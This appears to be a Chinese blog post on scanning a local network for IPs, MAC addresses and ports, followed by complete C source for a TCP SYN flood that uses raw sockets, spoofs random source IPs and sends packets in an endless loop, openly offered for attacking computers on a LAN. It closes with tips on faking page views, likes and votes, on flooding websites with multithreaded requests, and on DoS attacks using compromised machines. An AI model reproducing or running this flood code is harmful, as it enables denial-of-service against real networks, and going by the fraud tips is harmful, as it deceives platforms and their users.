您的位置:首页 > 其它

查询局域网电脑的IP,端口号,MAC地址

2018-03-01 22:21 405 查看
网上看到很多都是使用nmap工具,这个工具我没有使用过,我自己实现nmap工具的功能,首先我们查询局域网内有哪些电脑是alive的,下面我写了一个脚本:ping.sh   


这样局域网内哪些电脑的ip是alive的就可以知道,下面来查看对于IP的MAC地址,使用cat /proc/net/arp  命令:


然后在使用netstat  -an命令来分析端口号。这样我们就轻松获取了局域网内所有电脑的信息,这时候我们使用网络编程,破坏三次握手协议去攻击电脑,或者获取抓包数据等。查看结果分析:Proto Recv-Q Send-Q Local Address           Foreign Address         State  
  Local Adress代表本地开放的端口,
  Foreign Adress代表的是外网的地址,
  State代表的是状态。
  Foreign Adress代表连接外网的地址。比如说登录QQ的服务器或者打开网页时都会显示不同的IP地址。
  listening代表正在监听的端口
  Established表示已激活的IP和端口
  wait表示正在等待监听

下面是我写的一个代码,可以攻击局域网内电脑:main.c[html] view plain copy 



<span style="font-size:18px;">#include<errno.h>  
#include<string.h>  
#include<netdb.h>  
#include<stdio.h>  
#include<stdlib.h>  
#include<unistd.h>  
#include<netinet/ip.h>  
#include<netinet/tcp.h>  
  
void send_data(int sockfd,struct sockaddr_in *addr,char *port);  
unsigned short check_sum(unsigned short *addr,int len);  
  
// ./argv[0] des_hostname/ip   des_port  local_port    
int main(int argc,char *argv[])   
{   
    int sockfd;   
    struct sockaddr_in addr;   
    struct hostent *host;   
    int on=1;   
      
    if(argc!=4)   
    {   
        fprintf(stderr,"Usage:%s des_hostname/ip des_port  local_port\n",argv[0]);   
        exit(EXIT_FAILURE);   
    }   
    
    memset(&addr,0,sizeof(struct sockaddr_in));  
    addr.sin_family=AF_INET;   
     
    if(inet_aton(argv[1],&addr.sin_addr)==0)   
    {   
        host=gethostbyname(argv[1]);   
        if(host==NULL)   
            {   
                    fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));   
                    exit(EXIT_FAILURE);   
            }   
            addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);   
    }   
    addr.sin_port=htons(atoi(argv[2]));   
  
    sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);   
    if(sockfd<0)   
    {   
        fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));   
        exit(EXIT_FAILURE);   
    }   
    setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));   
  
    send_data(sockfd,&addr,argv[3]);   
}    
  
void send_data(int sockfd,struct sockaddr_in *addr,char *port)   
{   
    char buffer[100];  
    struct iphdr *ip;   
    struct tcphdr *tcp;   
    int head_len;   
  
    head_len=sizeof(struct iphdr)+sizeof(struct tcphdr);   
    bzero(buffer,100);   
    ip=(struct iphdr *)buffer;   
    ip->version=IPVERSION;  
    ip->ihl=sizeof(struct ip)>>2;  
    ip->tos=0;  
    ip->tot_len=htons(head_len);   
    ip->id=0;  
    ip->frag_off=0;  
    ip->ttl=MAXTTL;  
    ip->protocol=IPPROTO_TCP;  
  
    ip->check=0;  
    ip->daddr = addr->sin_addr.s_addr;  
    
    tcp=(struct tcphdr *)(buffer +sizeof(struct ip));   
    tcp->source=htons(atoi(port));  
    tcp->dest=addr->sin_port;   
    tcp->seq=random();   
    tcp->ack_seq=0;   
    tcp->doff=5;   
    tcp->syn=1;   
    tcp->check=0;   
  
  
    while(1)   
    {   
        ip->saddr=random();        
    tcp->check=0;      
    tcp->check=check_sum((unsigned short *)tcp,   
             sizeof(struct tcphdr));    
        sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,(socklen_t)sizeof(struct sockaddr_in));   
    }   
}   
  
unsigned short check_sum(unsigned short *addr,int len)   
{   
    register int nleft=len;   
    register int sum=0;   
    register short *w=addr;   
    short answer=0;   
    while(nleft>1)   
    {   
        sum+=*w++;   
        nleft-=2;   
    }   
    if(nleft==1)   
    {   
        *(unsigned char *)(&answer)=*(unsigned char *)w;   
        sum+=answer;   
    }   
  
    sum=(sum>>16)+(sum&0xffff);   
    sum+=(sum>>16);   
    answer=~sum;   
    return(answer);   
}  
</span>  

下面在提供一些黑客技术的入门:各大博客刷访问量的实现:首先使用Fiddler4抓取header信息,然后使用python构造header,ip等就可以轻松实现,本人各大博客,QQ空间刷赞,网页投票链接都测试过,非常实用。具体代码我就不上传上来了。也可以在Linux下使用tcpdump来抓包分析,抓包是讲究技巧的,这个手段是大量黑客长使用的方法。攻击网页就更简单了,在python中使用不断请求,打开,采取多线程编程可以造成网络拥堵,来达到攻击的目的。如果是想黑掉整个服务器,请才用dos抓取肉鸡的方式,首选得获取到管理员权限(这个是难点)。年轻就是资本,有的是时间和青春去挥霍,去学习技术。不要把这些技术用到不正当的场合,开心一下就行。
我喜欢程序员,他们单纯、固执、容易体会到成就感;面对压力,能够挑灯夜战不眠不休;面对困难,能够迎难而上挑战自我。他们也会感到困惑与傍徨,但每个程序员的心中都有一个比尔盖茨或是乔布斯的梦想“用智慧开创属于自己的事业”。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: